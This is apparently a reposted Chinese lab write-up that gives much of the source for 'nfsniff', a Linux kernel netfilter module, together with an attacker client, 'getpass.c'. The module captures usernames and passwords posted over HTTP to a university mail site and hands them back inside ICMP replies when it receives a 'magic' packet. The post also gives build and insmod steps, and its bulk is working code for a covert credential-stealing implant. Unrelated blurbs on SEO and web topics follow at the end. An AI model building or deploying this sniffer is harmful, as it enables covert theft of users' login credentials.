memcpy函数实现_netfilter实现对http协议网站用户名与密码的窃取

news/2024/5/20 13:00:35/文章来源:https://blog.csdn.net/weixin_39621379/article/details/110851776

fd90a3c9c2f6bf21464b96fe35ce09ec.png

实验目的:

基于netfilter,实现对使用HTTP协议的网站的用户名和密码的窃取。

实验过程:

1. 对网址http://mail.ustc.edu.cn进行实验,在输入账号密码时开启wireshark抓包,可以得到以下包内容:

6bb5c8bbfdcf1591657cdccb3470ed54.png

其中,uid为 cjccjc,password为 aaa123,分别是用户输入的账号和密码。

2. 被攻击者主要代码nfsniff.c

1) makefile文件

obj-m += nfsniff.o

all:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

2) 模块的初始化和退出清理

init_module注册两个netfilter挂钩,第一个用于监视传入流量(在NF_IP_PRE_ROUTING上)以尝试查找“神奇”ICMP数据包。下一个用于监视安装模块的离开机器的流量(在NF_IP_POST_ROUTING上)。cleanup_module()过程只是取消注册这两个钩子。

int init_module(void) {

pre_hook.hook = watch_in;

pre_hook.pf = PF_INET;

pre_hook.hooknum = NF_INET_PRE_ROUTING;

pre_hook.priority = NF_IP_PRI_FIRST;

nf_register_net_hook(&init_net, &pre_hook);

//第一个挂钩

post_hook.hook = watch_out;

post_hook.pf = PF_INET;

post_hook.hooknum = NF_INET_POST_ROUTING;

post_hook.priority = NF_IP_PRI_FIRST;

nf_register_net_hook(&init_net, &post_hook);

//第二个挂钩

printk("init_modulen");

return 0;

}

void cleanup_module(void)

{

nf_unregister_net_hook(&init_net, &pre_hook);

nf_unregister_net_hook(&init_net, &post_hook);

printk("cleanup_modulen");

}

3) 对包进行过滤操作,找出发送给ustcmail的TCP数据包。

static unsigned int findpkt(struct sk_buff *skb) {

struct iphdr *ip = NULL; struct tcphdr *tcp = NULL; char *data = NULL;

int tcp_payload_len = 0;

ip = (struct iphdr *)skb_network_header(skb);

if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP)

return -1;

tcp = (struct tcphdr *)skb_transport_header(skb);

tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2); data = (char *)((char *)tcp + (tcp->doff<<2));

if (tcp->dest != htons(80) || tcp_payload_len < post_uri_len || strncmp(data, post_uri, post_uri_len) != 0)

{

return -1;

}

printk("--------------- findpkt ------------------n");

printk("ip_hdrlen:%dn", (ip->ihl<<2));

printk("tcp_hdrlen: %dn", (tcp->doff<<2));

printk("ip_total_len: %dn", ntohs(ip->tot_len));

printk("tcp_payload_len:%dn", tcp_payload_len);

printk("ip_addr: 0x%pn", ip);

printk("tcp_addr: 0x%pn", tcp);

printk("tcp_data_addr:0x%pn", data);

printk("hex : data[0-3] = 0x%02x%02x%02x%02xn", data[0], data[1], data[2], data[3]);

printk("char: data[0-3] = %c%c%c%cn", data[0], data[1], data[2], data[3]);

printk("--------------- findpkt ------------------n");

return 1;

}

4) watch_in函数

watch_in用于检查每个数据包来查看它是否是攻击者发来的请求魔术数据包,如果抓到魔术数据包的话就把找到的的账户密码等信息进行发送,返回NF_STOLEN告诉Netfilter忘记它曾经看到过这个数据包(Jedi Mind Trick的位)。

static unsigned int watch_in(void *priv,struct sk_buff *skb,const struct nf_hook_state *state)

{

struct iphdr *ip = NULL;

struct icmphdr *icmp = NULL;

int icmp_payload_len = 0;

char *cp_data = NULL; // copy pointer

unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)

ip = (struct iphdr *)skb_network_header(skb);

//过滤掉非目标数据包

if (username == NULL || password == NULL|| ip->protocol != IPPROTO_ICMP)

return NF_ACCEPT;

icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));

// 最后 8 字节为 ICMP 首部长度

icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;

if (icmp->code != MAGIC_CODE|| icmp->type != ICMP_ECHO || icmp_payload_len < REPLY_SIZE)

{

return NF_ACCEPT;

}

//往回发送数据包

temp_ipaddr = ip->saddr;

ip->saddr = ip->daddr;

ip->daddr = temp_ipaddr;

skb->pkt_type = PACKET_OUTGOING;

switch (skb->dev->type) {

case ARPHRD_PPP: break;

case ARPHRD_LOOPBACK:

case ARPHRD_ETHER:

{

unsigned char temp_hwaddr[ETH_ALEN];

struct ethhdr *eth = NULL;

// Move the data pointer to point to the link layer header

eth = (struct ethhdr *)eth_hdr(skb);

skb->data = (unsigned char*)eth;

skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet); memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);

memcpy(eth->h_dest, eth->h_source, ETH_ALEN);

memcpy(eth->h_source, temp_hwaddr, ETH_ALEN); break;

}

}

// copy target_ip, username, password into packet

cp_data = (char *)icmp + 8;

memcpy(cp_data, &target_ip, 4);

memcpy(cp_data+4, username, 16);

memcpy(cp_data+20, password, 16);

printk("watch_in STOLEN ====> SUCCESSn");

printk("urlencode(username): %sn", username);

printk("urlencode(password): %sn", password);

dev_queue_xmit(skb); // 发送数据

kfree(username);

kfree(password);

username = password = NULL;

return NF_STOLEN;

}

5) watch_out函数

用来监听本机发出去的数据包。获取到目标数据包后,调用fetch_http()函数进行提取。

static unsigned int watch_out(void *priv, struct sk_buff *skb,const struct nf_hook_state *state)

{

if (findpkt(skb) == -1)

return NF_ACCEPT;

if (username == NULL || password == NULL)

check_http(skb);

return NF_ACCEPT;

}

6) check_http()函数

从wireshark提取数据包时可以看到,username和password出现在HTML from URL Encode层。从发出去的数据包中查找Content-Length,调用getUrlparam函数进行账户和密码的获取。

static void check_http(struct sk_buff *skb) {

struct iphdr *ip = NULL;

struct tcphdr *tcp = NULL;

char *data = NULL; // tcp data

int tcp_payload_len = 0;

int i = 0, index = -1;

int content_len = 0; // Cotent-Length

ip = (struct iphdr *)skb_network_header(skb);

tcp = (struct tcphdr *)skb_transport_header(skb);

tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);

data = (char *)tcp + (tcp->doff<<2);

index = kmp(data, tcp_payload_len, "Content-Length: ", 16);

if (index == -1)

return;

data += (index + 16); // data point to: 77rn

for (i = 0; data[i] != 'r'; i++)

content_len = content_len*10 + ((int)data[i]-'0'); // now content_len = 77

// data point to layer: HTML Form URL Encode

data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);

username = getUrlparam(data, content_len, "uid=", 4);

password = getUrlparam(data, content_len, "password=", 9);

if (username == NULL || password == NULL)

return;

printk("content_len = %dn", content_len);

printk("urlencode(username): %sn", username);

printk("urlencode(password): %sn", password);

}

7) getUrlparam()函数

利用kmp算法进行匹配,查找到类似于“uid=” “password=”的字段,并获取确切的数据值value。

char * getUrlparam(char *urlparam, int ulen, char *key, int klen) {

int index = 0, i = 0;

char *value = NULL;

if ((index = kmp(urlparam, ulen, key, klen)) == -1)

return NULL;

urlparam += (index + klen);

ulen -= (index + klen);

// username, password 中本身就可能含有类似'&'这样需要进行编码的字

//符,urlencode('&') = %26

for (i = 0; i < ulen && urlparam[i] != '&'; i++);

if (i >= ulen)

return NULL;

// i + 1, for the last char '0'

if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)

return NULL;

memcpy(value, urlparam, i);

value[i] = '0';

return value;

}


3. 攻击者主要代码getpass.c

1) 主函数

攻击者发送ICMP报告给被攻击者,当被攻击者收到该报告时,就会将账号和密码发送回来。

int main(int argc, char **argv)

{

if (load_args(argc, argv) < 0)

{

printf("command format error!n");

printf("example:getpass 192.168.1.1n");

return -1;

}

recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

if (recvsockfd < 0 || sendsockfd < 0) {

perror("socket creation error");

return -1;

}

// 1) 发送 ICMP ECHO 回送请求报文

send_icmp_request();

// 2) 接收 ICMP ECHO 回送回答报文

recv_icmp_reply();

close(sendsockfd);

close(recvsockfd);

return 0;

}

2) send_icmp_request()函数

用于发送魔术数据包,发送一个CODE为MAGIC_CODE的icmp数据包给受害者。

int send_icmp_request() {

bzero(sendbuff, BUFF_SIZE);

// 构造 ICMP ECHO 首部

struct icmp *icmp = (struct icmp *)sendbuff;

icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8

icmp->icmp_code = MAGIC_CODE;

icmp->icmp_cksum = 0;

// 计算 ICMP 校验和,涉及首部和数据部分,包括:8B(ICMP ECHO 首部) + 36B(4B(target_ip)+16B(username)+16B(password))

icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);

printf("sending request........n");

int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));

if (ret < 0) {

perror("send error");

}

else {

printf("send a icmp echo request packet!nn");

}

return 1;

}

3) recv_icmp_reply()函数

用于获取受害者机器发来的icmp回复,并从中获取username和password进行输出。

int recv_icmp_reply() {

bzero(recvbuff, BUFF_SIZE);

printf("waiting for reply......n");

if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {

printf("failed getting reply packetn");

return -1;

}

struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20); memcpy(&server_addr, (char *)icmp+8, 4);

// 打印 IP 包字节数据,便于调试

print_ippacket_inbyte(recvbuff);

printf("stolen from http server: %sn", inet_ntoa(server_addr));

printf("username: %sn", (char *)((char *)icmp + 12));

printf("password: %sn", (char *)((char *)icmp + 28));

return 1;

}


4. 攻击过程

1) 确保受害者主机上装载nfsniff模块。

执行:sudo make

sudo insmod nfsniff.ko

tail -f /var/log/syslog

2) 登录http://mail.ustc.edu.cn输入账号密码,点击sign in。

7e0f2cab9227974d894d409ceefd781d.png

3) 在受害者主机点击了sign in发出数据包后,攻击者运行getpass代码,就可以获取到账号和密码。

cb09c1e33078e2e851d703ff0e464877.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_812911.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vs中html如何设计分页_SEO中如何正确处理分页页面

网络上到处都是关于如何处理SEO分页的错误信息。这篇文章试图解释清楚怎么处理分页&#xff0c;减少一些错误信息的传播。一年多以前&#xff0c;Google 对分页方式进行了一些重大更改。而且由于我们许多SEO都不会在页面上添加日期&#xff0c;或者永远不会回去更新旧帖子&…

程序退出崩溃_全民疯抢!清仓大促导致亚马逊网站崩溃

前端时间宣布要退出中国市场的亚马逊在4月29日举行了大清仓活动&#xff0c;所有产品以较大折扣卖出。但没想到折扣消息一出&#xff0c;就有大量的用户涌入亚马逊平台进行抢购&#xff0c;导致服务器压力太大&#xff0c;以至于包括亚马逊中国在内的网站端、移动客户端、微信小…

一键查询网站服务器归属地,一文搞定3种批量查询手机归属地的方法

由于工作原因&#xff0c;最近需要用到批量查询手机归属地的功能&#xff0c;研究了一下&#xff0c;主要有3种方式&#xff0c;这3种方式都有其各自的优缺点。废话不说&#xff0c;马上就开始吧&#xff1a;1. excel函数excel有非常强大的功能&#xff0c;有各自强大的函数库&…

学成在线网站首页_网站关键词布局的最佳10个位置丨国人在线观点

网站关键词对于网站排名优化有着非常大的作用&#xff0c;在网站SEO优化中&#xff0c;合理的网站关键词的布局对于网站的排名有着决定性的作用&#xff0c;那么网站关键词的布局是否有最合适的位置呢&#xff1f;网站关键词布局的最佳10个位置丨国人在线观点1.网站页面的标题标…

python如何把ts视频拼接起来_Python爬取网站m3u8视频,将ts解密成mp4,合并成整体视频...

前言本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理。今天群里面有一个小伙伴发了一个链接&#xff0c;出于好奇&#xff0c;点击去看了一下&#xff0c;然后确定试试看。基本开发环境Python 3.6Pycharm相关模块的使用目标…

Hadoop学习笔记—20.网站日志分析项目案例(二)数据清洗

Hadoop学习笔记—20.网站日志分析项目案例&#xff08;二&#xff09;数据清洗 网站日志分析项目案例&#xff08;一&#xff09;项目介绍&#xff1a;http://www.cnblogs.com/edisonchou/p/4449082.html 网站日志分析项目案例&#xff08;二&#xff09;数据清洗&#xff1a;当…

tp5不启用伪静态_SEO优化中动态页面、静态页面和伪静态页面哪个好?

对于什么是网站的动态页面和静态页面&#xff0c;以及它们之间的区别&#xff0c;本文来介绍一下&#xff0c;在做SEO优化时&#xff0c;挑选动态页面、静态页面和伪静态页面哪个好?我们先来简单总结一下&#xff0c;它们各自的优缺点&#xff1a;1. 静态页面拜访最快;但由于数…

python tornado部署_Python:Tornado 第四章:Tornado网站部署:第二节:静态文件

静态文件下载是大多数网站必备的功能&#xff0c;与静态文件相关的开发工作有两类&#xff1a;配置静态文件路径和优化静态文件访问。1、配置静态文件路径配置静态文件路径的目的在于为客户端提供静态文件的可访问性。Tornado提供了两种方式进行配置静态文件URL路径与服务器本地…

服务器稳定对页面的排名很重要,如何解决网站打开速度太慢了的问题?

网站打开速度太慢了&#xff1f;不知道大家在开一个网站的时候是否有注意过自己的行为&#xff0c;如果一个网站你等待了好久它都没有打开&#xff0c;那么你这时候是否还会继续等待呢&#xff1f;在大量的数据统计下&#xff0c;可以让我们看到越来越多的用户浏览行为&#xf…

复制黏贴上传excel文件到网站

假如有一个excel文件&#xff0c;想把里面的内容传到网站上去。 可以利用JSON.stringify() 把空格和换行等字符转换为 escape sequence。如&#xff1a; 这就转换成了escape sequnence 但这个方法目前只支持到 IE8 FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafariBa…

使用Visual Studio建立网站项目

使用Visual Studio建立网站项目 第一步、依次点击文件->新建->项目&#xff08;不是网站&#xff09; 第二步、选择要新建的项目类型 在下图中把易错的地方已经圈出来了&#xff0c;注意不要选择其他的&#xff0c;选择空Web应用程序&#xff0c;否则会出现一堆没用的文…

dataframe 如何增加新的索引_如何为网站增加索引,促进网站SEO优化?

众所周知&#xff0c;索引量是百度判断网站搜索引擎优化的标准之一&#xff0c;一般情况下&#xff0c;索引量越多&#xff0c;网站页面被索引的几率就会越大&#xff0c;网站的排名提升也将有更大的机会&#xff0c;那么在网站优化中&#xff0c;该如何为网站增加索引呢&#…

linux smb 远程,测试过程、扩展研究 - Linux系统下用smbclient命令来访问Windows共享_Linux教程_Linux公社-Linux系统门户网站...

基本测试过程如下&#xff1a;1、 访问c$共享&#xff1a;[rootrh root]# smbclient //192.168.60.188/c$ -U cmwPassword:smb: \> cd winntsmb: \winnt\>2、 访问temp共享(启用guest帐户)[rootrh root]# smbclient //192.168.60.188/tempPassword:(未输入任何密码)smb: …

asp.net html5网站结构,ASP.NET MVC5网站开发之展示层架构(五)

展示层由Ninesky.Web项目实现&#xff0c;负责网站内容的显示&#xff0c;项目包含Member和Control两个区域。Member区域实现网站内容的管理&#xff0c;Control区域实现网站系统管理。结构、功能图如下&#xff1a;一、Member区域1、添加Member区域Ninesky.Web【右键】-> 添…

黑帽SEO

黑帽SEO由来已久&#xff0c;虽然是所有搜索引擎打击的对象&#xff0c;但是在推动搜索引擎进步的历程中功不可没。搜索引擎算法在进步&#xff0c;黑帽SEO手法更是魔高一丈&#xff0c;在信息爆炸的今天&#xff0c;常见的黑帽手法有哪些呢&#xff1f;站长们应当使用白帽SEO手…

《大型网站系统与JAVA中间件实践》读书笔记-数据访问层

数据访问层 5.1.2数据库垂直/水平拆分的困难 随着网站业务的快速发展&#xff0c;数据量和访问量不断上升&#xff0c;数据库的压力越来越大。 更换更好的硬件&#xff08;Scale Up)是一种解决方案&#xff0c;而且在我们能付得起硬件费用并且没 有到达硬件单机瓶颈时&#xff…

阿里云linux服务器搭建宝塔到建站的第一步

这些天公司要备案就买了个服务器&#xff0c;想学点东西就玩了一下&#xff0c;自己期间也遇到一些问题 首先我选择的服务器是默认推荐的那种最便宜的 买了就看见有一个实例&#xff1a;如图 那么接下来点击管理就要重置一下密码为后面登录&#xff1a; 选择重置密码改为自己的…

可以获得索引值码_搜索引擎seo推广的优缺点

现在搜索引擎seo推广是最为受青睐的营销方式&#xff0c;所谓的SEO是由英文Search Engine Optimization缩写而来&#xff0c;翻译为“搜索引擎优化”。拓王朝表示SEO就是通过对网站内部和外部的优化&#xff0c;改进网站在搜索引擎中的排名表现&#xff0c;从而使网站获得更多的…

推荐几个高质量的图片素材网站

阿里巴巴矢量图标库 http://iconfont.cn 国内功能很强大且图标内容很丰富的矢量图标库&#xff0c;提供矢量图标下载、在线存储、格式转换等功能。 高品图像 http://www.gaopinimages.com 网站设计高端大气&#xff0c;资源丰富。拥有千万张高清图片&#xff0c;摄影作品/历史照…